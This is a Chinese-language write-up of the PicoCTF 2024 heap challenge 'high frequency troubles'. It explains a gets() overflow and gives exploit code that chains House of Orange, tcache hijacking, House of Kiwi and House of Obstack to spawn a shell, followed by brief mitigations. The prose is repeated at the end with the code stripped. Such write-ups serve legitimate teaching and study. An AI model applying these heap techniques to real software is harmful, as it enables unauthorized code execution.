PicoCTF 2024 - high frequency troubles
字数 1685 2025-08-23 18:31:18

PicoCTF 2024 - high frequency troubles 漏洞利用深度分析

1. 题目概述

这是一个高难度的堆利用题目,主要特点包括:

  • 运行在glibc 2.35环境下
  • 没有显式的free操作
  • 无法自由控制chunk分配
  • 保护全开(Full RELRO, PIE, NX)
  • 通过堆溢出和特殊技巧实现利用

2. 漏洞分析

2.1 程序功能

程序是一个简单的网络数据包处理程序,主要逻辑在无限循环中:

  1. 读取用户输入的size(8字节)
  2. 分配大小为size的内存块
  3. 使用gets函数读取数据到分配的内存中(存在堆溢出漏洞)
  4. 根据数据第一个字节决定是否打印内容

2.2 关键数据结构

struct pkt_t {
    size_t sz;      // 数据包大小
    char data[];    // 可变长度数据
};

2.3 漏洞点

  1. 堆溢出:使用不安全的gets函数读取数据,可以覆盖相邻chunk
  2. 无free操作:程序不会释放任何内存,限制了传统堆利用方式

3. 利用思路

3.1 总体流程

  1. 利用House of Orange技巧泄露堆地址
  2. 通过申请大内存修改tcache结构体指针
  3. 劫持tcache实现任意内存分配
  4. 泄露libc地址
  5. 使用House of Kiwi触发__malloc_assert
  6. 结合House of Obstack进行IO劫持
  7. 最终获取shell

3.2 关键技术点详解

3.2.1 House of Orange技巧泄露堆地址

步骤

  1. 分配一个小chunk(如0x10)
  2. 溢出修改top chunk的size为一个小的页面对齐值(如0xd51)
  3. 分配一个大chunk(0xd48)触发top chunk释放
  4. 这会创建一个unsorted bin chunk
  5. 通过打印功能泄露堆地址

关键点

  • 修改top chunk size时需要满足对齐要求
  • 后续分配的大小要足够大以触发sysmalloc

3.2.2 劫持tcache结构体

步骤

  1. 申请非常大的内存(大于mp_.mmap_threshold)
  2. 这类内存会分配在libc附近
  3. 利用溢出修改tcache结构体指针
  4. 伪造tcache结构体控制后续分配

关键点

  • mmap分配的内存与libc的偏移固定
  • 可以预测tcache结构体的位置
  • 伪造的tcache结构体需要合理设置counts和entries

3.2.3 House of Kiwi触发assert

原理
通过修改top chunk size使其不满足检查条件,触发__malloc_assert

  1. top chunk size < MINSIZE (0x20)
  2. 或prev_inuse位未设置
  3. 或top chunk未页对齐

触发链
__malloc_assert -> __assert_fail -> __assert_fail_base -> __fxprintf -> IO操作

3.2.4 House of Obstack进行IO劫持

利用条件

  1. 控制IO_FILE结构体(通常是stderr)
  2. 伪造vtable指向可控区域
  3. 设置虚函数指针为system等目标函数

关键结构

struct _IO_FILE {
    // ... 标准字段
    void *vtable;  // 关键劫持点
};

4. 完整利用步骤

4.1 泄露堆地址

# 修改top chunk size
do(0x10, b'a'*0x10 + pack(0xd51))

# 触发top chunk释放
do(0xd48, b"b")

# 泄露堆地址
do(0x10, b"\x01\x00\x00\x00\x00\x00\x00")
heap_leak = unpack(recv_data())
heap_base = heap_leak - 0x2b0

4.2 劫持tcache结构体

# 伪造tcache结构体
fake_tcache = heap_base + 0x2f0
tcache_struct = flat({
    0x00: p16(1)*2 + p16(0)*62,
    0x80: pack(heap_base + 0x580) + p64(fake_tcache - 0x10) + pack(0)*62
})

# 修改tcache指针
do(0x2a8, pack(2) + tcache_struct)
do(0x22000, b"a"*(0x22000 + 0x16e0) + pack(fake_tcache))

4.3 泄露libc地址

# 通过伪造的tcache分配libc附近内存
do(0x10, b"\x01\x00\x00\x00\x00\x00\x00")
libc_leak = unpack(recv_data())
libc_base = libc_leak - 0x21a260

4.4 准备IO劫持

# 重新设置tcache以控制stderr
tcache_struct2 = flat({
    0x00: p16(1)*3 + p16(0)*61,
    0x80: pack(libc.sym.stderr - 0x10) + p64(heap_base) + pack(heap_base + 0x21d40) + pack(0)*61
})
do(0x28, cyclic(8) + tcache_struct2)

# 构造伪造的IO_FILE结构
fp = heap_base
io_payload = flat({
    0x18: pack(1),
    0x20: pack(0),
    0x28: pack(1),
    0x30: pack(0),
    0x38: pack(libc.sym.system),
    0x40: b"/bin/sh\x00",
    0x48: pack(fp + 0x40),
    0x50: pack(1),
    0x88: pack(heap_base + 0x200),
    0xd8: pack(libc.sym._IO_file_jumps - 0x240),
    0xe0: pack(fp)
}, filler=b"\x00")

# 设置vtable
do(0x10, pack(libc.sym._IO_file_jumps) + pack(fp))
do(0x20, io_payload[0x8:])

4.5 触发利用

# 触发__malloc_assert
do(0x30, pack(0x10)*3)
do(0x1000, cyclic(0x1))

5. 防御与缓解

  1. 避免使用不安全函数:替换gets为安全函数如fgets
  2. 增加堆保护:启用更多堆保护机制
  3. 限制分配大小:对用户输入的size进行合理限制
  4. 加强IO结构保护:使用最新glibc版本缓解IO劫持

6. 总结

这个题目展示了在glibc 2.35环境下,即使没有显式free操作和全保护开启的情况下,如何通过组合多种堆利用技术实现代码执行。关键点在于:

  1. 利用House of Orange技巧在无free情况下创建free chunk
  2. 通过大内存分配修改tcache元数据
  3. 结合assert触发和IO流劫持完成利用
  4. 精心构造的伪造结构和精确的内存布局控制

这种利用方式展示了现代堆利用的复杂性和技巧性,对漏洞利用和防御研究都有重要参考价值。

PicoCTF 2024 - high frequency troubles 漏洞利用深度分析 1. 题目概述 这是一个高难度的堆利用题目,主要特点包括: 运行在glibc 2.35环境下 没有显式的free操作 无法自由控制chunk分配 保护全开(Full RELRO, PIE, NX) 通过堆溢出和特殊技巧实现利用 2. 漏洞分析 2.1 程序功能 程序是一个简单的网络数据包处理程序,主要逻辑在无限循环中: 读取用户输入的size(8字节) 分配大小为 size 的内存块 使用 gets 函数读取数据到分配的内存中(存在堆溢出漏洞) 根据数据第一个字节决定是否打印内容 2.2 关键数据结构 2.3 漏洞点 堆溢出 :使用不安全的 gets 函数读取数据,可以覆盖相邻chunk 无free操作 :程序不会释放任何内存,限制了传统堆利用方式 3. 利用思路 3.1 总体流程 利用House of Orange技巧泄露堆地址 通过申请大内存修改tcache结构体指针 劫持tcache实现任意内存分配 泄露libc地址 使用House of Kiwi触发 __malloc_assert 结合House of Obstack进行IO劫持 最终获取shell 3.2 关键技术点详解 3.2.1 House of Orange技巧泄露堆地址 步骤 : 分配一个小chunk(如0x10) 溢出修改top chunk的size为一个小的页面对齐值(如0xd51) 分配一个大chunk(0xd48)触发top chunk释放 这会创建一个unsorted bin chunk 通过打印功能泄露堆地址 关键点 : 修改top chunk size时需要满足对齐要求 后续分配的大小要足够大以触发sysmalloc 3.2.2 劫持tcache结构体 步骤 : 申请非常大的内存(大于mp_ .mmap_ threshold) 这类内存会分配在libc附近 利用溢出修改tcache结构体指针 伪造tcache结构体控制后续分配 关键点 : mmap分配的内存与libc的偏移固定 可以预测tcache结构体的位置 伪造的tcache结构体需要合理设置counts和entries 3.2.3 House of Kiwi触发assert 原理 : 通过修改top chunk size使其不满足检查条件,触发 __malloc_assert : top chunk size < MINSIZE (0x20) 或prev_ inuse位未设置 或top chunk未页对齐 触发链 : __malloc_assert -> __assert_fail -> __assert_fail_base -> __fxprintf -> IO操作 3.2.4 House of Obstack进行IO劫持 利用条件 : 控制IO_ FILE结构体(通常是stderr) 伪造vtable指向可控区域 设置虚函数指针为system等目标函数 关键结构 : 4. 完整利用步骤 4.1 泄露堆地址 4.2 劫持tcache结构体 4.3 泄露libc地址 4.4 准备IO劫持 4.5 触发利用 5. 防御与缓解 避免使用不安全函数 :替换 gets 为安全函数如 fgets 增加堆保护 :启用更多堆保护机制 限制分配大小 :对用户输入的size进行合理限制 加强IO结构保护 :使用最新glibc版本缓解IO劫持 6. 总结 这个题目展示了在glibc 2.35环境下,即使没有显式free操作和全保护开启的情况下,如何通过组合多种堆利用技术实现代码执行。关键点在于: 利用House of Orange技巧在无free情况下创建free chunk 通过大内存分配修改tcache元数据 结合assert触发和IO流劫持完成利用 精心构造的伪造结构和精确的内存布局控制 这种利用方式展示了现代堆利用的复杂性和技巧性,对漏洞利用和防御研究都有重要参考价值。